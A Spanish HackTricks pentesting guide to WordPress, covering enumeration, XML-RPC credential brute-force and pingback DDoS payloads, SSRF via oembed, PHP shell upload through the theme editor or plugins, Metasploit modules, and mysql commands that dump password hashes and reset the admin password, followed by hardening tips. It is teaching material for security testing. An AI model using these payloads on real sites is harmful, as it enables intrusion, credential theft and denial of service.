Wordpress

Support HackTricks

Use Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo. Get Access Today:

Basic Information

Los archivos subidos van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algún php del tema para obtener RCE, probablemente usarás esa ruta. Por ejemplo: Usando el tema twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php Otra URL útil podría ser: /wp-content/themes/default/404.php

En wp-config.php puedes encontrar la contraseña raíz de la base de datos.

Rutas de inicio de sesión predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt contiene información útil como la versión de WordPress instalada.

  • wp-activate.php se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.

  • Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como el mecanismo de transporte y XML como el mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la REST API de WordPress.

  • La carpeta wp-content es el directorio principal donde se almacenan los plugins y temas.

  • wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.

  • wp-includes/ Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.

  • wp-sitemap.xml En las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente.

Post exploitation

  • El archivo wp-config.php contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y las sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas.

Users Permissions

  • Administrator

  • Editor: Publica y gestiona sus propias publicaciones y las de otros

  • Author: Publica y gestiona sus propias publicaciones

  • Contributor: Escribe y gestiona sus publicaciones pero no puede publicarlas

  • Subscriber: Navega por las publicaciones y edita su perfil

Passive Enumeration

Get WordPress version

Verifica si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos de enlace CSS

  • Archivos JavaScript

Obtener Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtener Temas

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás forzar activamente una lista de Plugins y Temas (esperemos que existan herramientas automatizadas que contengan estas listas).

Usuarios

ID Brute

Obtienes usuarios válidos de un sitio de WordPress forzando los IDs de los usuarios:

curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

wp-json

También puedes intentar obtener información sobre los usuarios consultando:

curl http://blog.example.com/wp-json/wp/v2/users

Otro endpoint /wp-json/ que puede revelar información sobre los usuarios es:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Nota que este endpoint solo expone usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tienen esta función habilitada.

También ten en cuenta que /wp-json/wp/v2/pages podría leak direcciones IP.

Enumeración de nombres de usuario de inicio de sesión

Al iniciar sesión en /wp-login.php, el mensaje es diferente si el nombre de usuario existe o no.

XML-RPC

Si xml-rpc.php está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso usando esto por ejemplo).

Para ver si está activo, intenta acceder a /xmlrpc.php y envía esta solicitud:

Verificar

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Fuerza Bruta de Credenciales

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden utilizar para forzar credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta de código 200 debería aparecer si las credenciales no son válidas.

Usando las credenciales correctas, puedes subir un archivo. En la respuesta, la ruta aparecerá (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

También hay una manera más rápida de forzar credenciales usando system.multicall ya que puedes probar varias credenciales en la misma solicitud:

Bypass 2FA

Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto, no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales eludiendo 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías llegar a RCE como lo explica Ippsec en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS o escaneo de puertos

Si puedes encontrar el método pingback.ping dentro de la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto. Esto se puede usar para pedir a miles de sitios de Wordpress que accedan a una ubicación (así se causa un DDoS en esa ubicación) o puedes usarlo para hacer que Wordpress lo escanee en alguna red interna (puedes indicar cualquier puerto).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Echa un vistazo al uso de system.multicall en la sección anterior para aprender cómo abusar de este método para causar DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este archivo generalmente existe en la raíz del sitio de Wordpress: /wp-cron.php Cuando este archivo es accedido, se realiza una consulta MySQL "pesada", por lo que podría ser utilizado por atacantes para causar un DoS. Además, por defecto, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Se recomienda deshabilitar Wp-Cron y crear un cronjob real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio de Wordpress puede hacer una solicitud a ti.

Esta es la respuesta cuando no funciona:

SSRF

Esta herramienta verifica si el methodName: pingback.ping y para la ruta /wp-json/oembed/1.0/proxy y si existe, intenta explotarlos.

Herramientas Automáticas

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Usa Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Obtén acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podrías cambiar 1 bit de cualquier archivo de wordpress. Así que podrías cambiar la posición 5389 del archivo /var/www/html/wp-includes/user.php para NOP la operación NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificando un php del tema utilizado (se necesitan credenciales de administrador)

Apariencia → Editor de temas → Plantilla 404 (a la derecha)

Cambia el contenido por un shell php:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Puede ser posible subir archivos .php como un plugin. Crea tu puerta trasera en php usando, por ejemplo:

Luego agrega un nuevo plugin:

Sube el plugin y presiona Instalar ahora:

Haz clic en Proceder:

Probablemente esto no hará nada aparentemente, pero si vas a Medios, verás tu shell subida:

Accede a ella y verás la URL para ejecutar la shell inversa:

Subiendo y activando un plugin malicioso

Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una web shell. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera:

  1. Adquisición del Plugin: El plugin se obtiene de una fuente como Exploit DB como aquí.

  2. Instalación del Plugin:

  • Navega al panel de control de WordPress, luego ve a Panel > Plugins > Subir Plugin.

  • Sube el archivo zip del plugin descargado.

  1. Activación del Plugin: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.

  2. Explotación:

  • Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.

  • El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión meterpreter, otorgando acceso no autorizado al sitio.

  • Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.

El contenido incluye ayudas visuales que representan los pasos en el panel de control de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.

Para pasos más detallados consulta: https://www.hackingarticles.in/wordpress-reverse-shell/

De XSS a RCE

  • WPXStrike: WPXStrike es un script diseñado para escalar una vulnerabilidad de Cross-Site Scripting (XSS) a Remote Code Execution (RCE) u otras vulnerabilidades críticas en WordPress. Para más información consulta esta publicación. Proporciona soporte para las versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:

  • Escalación de Privilegios: Crea un usuario en WordPress.

  • (RCE) Subida de Plugin Personalizado (puerta trasera): Sube tu plugin personalizado (puerta trasera) a WordPress.

  • (RCE) Edición de Plugin Incorporado: Edita un Plugin Incorporado en WordPress.

  • (RCE) Edición de Tema Incorporado: Edita un Tema Incorporado en WordPress.

  • (Personalizado) Explotaciones Personalizadas: Explotaciones Personalizadas para Plugins/Temas de Terceros en WordPress.

Post Explotación

Extraer nombres de usuario y contraseñas:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambiar la contraseña de administrador:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Superficie de Ataque

Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en este blog.

  • wp_ajax

Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de manejadores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que cualquier usuario autenticado en la instancia de Wordpress podría tener (independientemente de su rol).

Estas son las funciones que se pueden usar para exponer una función en un plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

El uso de nopriv hace que el endpoint sea accesible por cualquier usuario (incluso los no autenticados).

Además, si la función solo está verificando la autorización del usuario con la función wp_verify_nonce, esta función solo está comprobando que el usuario ha iniciado sesión, generalmente no está verificando el rol del usuario. Por lo tanto, los usuarios con bajos privilegios podrían tener acceso a acciones de altos privilegios.

  • REST API

También es posible exponer funciones de WordPress registrando una API REST utilizando la función register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

El permission_callback es una función de retorno que verifica si un usuario dado está autorizado para llamar al método de la API.

Si se utiliza la función incorporada __return_true, simplemente se omitirá la verificación de permisos del usuario.

  • Acceso directo al archivo php

Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.

Protección de WordPress

Actualizaciones Regulares

Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

También, solo instala plugins y temas de WordPress confiables.

Plugins de Seguridad

Otras Recomendaciones

  • Eliminar el usuario admin por defecto

  • Usar contraseñas fuertes y 2FA

  • Revisar periódicamente los permisos de los usuarios

  • Limitar los intentos de inicio de sesión para prevenir ataques de Fuerza Bruta

  • Renombrar el archivo wp-admin.php y permitir el acceso solo internamente o desde ciertas direcciones IP.

Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo. Obtén acceso hoy:

Apoya a HackTricks

Last updated